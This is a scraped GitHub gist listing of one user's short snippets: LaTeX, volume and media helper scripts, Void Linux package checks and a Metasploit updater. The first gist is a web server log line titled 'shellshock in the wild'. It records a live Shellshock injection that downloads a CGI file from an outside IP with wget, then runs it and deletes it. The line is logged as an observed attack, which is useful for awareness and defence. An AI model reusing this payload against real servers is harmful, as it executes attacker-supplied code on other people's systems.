Skip to content

Instantly share code, notes, and snippets.

View abenson's full-sized avatar

Andrew Benson abenson

  • San Antonio, TX
View GitHub Profile
@abenson
abenson / gist:a6bbccd91da327250e9b
Created October 6, 2014 00:16
shellshock in the wild
176.67.167.180 - - [05/Oct/2014:11:14:20 -0500] "GET /?x=() { :; }; echo Content-type:text/plain;echo;ech
o;echo M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp
/404.cgi;rm -rf /tmp/404.cgi* HTTP/1.0" 200 1959 "() { :; }; echo Content-type:text/plain;echo;echo;echo
M`expr 1330 + 7`H; wget -O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cg
i;rm -rf /tmp/404.cgi*" "() { :; }; echo Content-type:text/plain;echo;echo;echo M`expr 1330 + 7`H; wget -
O /tmp/404.cgi http://195.154.184.150/404.cgi;chmod 755 /tmp/404.cgi;/tmp/404.cgi;rm -rf /tmp/404.cgi*"
#!/bin/bash
if [ $UID -gt 0 ]; then
echo "You're an idiot."
else
echo "You're a fucking idiot."
fi
@abenson
abenson / backpanel.tex
Created January 7, 2015 04:47
tikz example
\documentclass{standalone}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
% outside border
\draw[step=1cm,gray,very thin] (-1.9,-1.9) rectangle (31.9,6.9);
% back panel frame
\draw (0,0) rectangle(30,5);
@abenson
abenson / msfvupdate
Last active April 23, 2022 22:03
Short script to install/update Metasploit on Void Linux
#!/bin/sh
if [ `id -u` != "0" ]; then
echo "This should be run as root."
exit
fi
missing=0
for dep in rsync curl; do
if [ ! -x "$(which $dep 2>/dev/null)" ]; then
@abenson
abenson / cactivate.ps1
Created February 3, 2018 06:33
Activate Windows with CAC
slmgr.vbs /fta (Get-ChildItem -Path Cert:\CurrentUser\My | select-object -first 1 -expandproperty thumbprint)
@abenson
abenson / pa-volume
Last active April 25, 2018 14:20
volume control
#!/bin/sh
case "$1" in
"up" )
pactl set-sink-mute @DEFAULT_SINK@ false
pactl set-sink-volume @DEFAULT_SINK@ +5%
;;
"down" )
pactl set-sink-mute @DEFAULT_SINK@ false
pactl set-sink-volume @DEFAULT_SINK@ -5%
@abenson
abenson / gmpv
Created February 14, 2018 04:02
my mpv frontends
#!/bin/sh
fname=$(zenity --file-selection 2>/dev/null)
if [ -r "$fname" ]; then
mpv "$fname"
fi
@abenson
abenson / xupavail
Last active April 5, 2018 13:56
Check for available packages on Void
#!/bin/sh
# xupavail - counts the number of packages available for update
SUDO=
if command -v sudo >/dev/null &&
sudo -l | grep -q -e ' ALL$' -e xbps-install; then
SUDO=sudo
elif [ "$(whoami)" != root ]; then
SUDO='su root -c '\''"$@"'\'' -- -'
fi
@abenson
abenson / travis.sh
Last active March 7, 2018 23:45
you got any of them travises
#!/bin/sh
pkg="$1"
shift
if [ -z $pkg ]; then
echo "usage: $0 <pkg>"
exit
fi
#!/bin/sh
# xupavail - see how many packages are available for upgrade
SUDO=
if command -v sudo >/dev/null &&
sudo -l | grep -q -e ' ALL$' -e xbps-install; then
SUDO=sudo
elif [ "$(whoami)" != root ]; then
SUDO='su root -c '\''"$@"'\'' -- -'
fi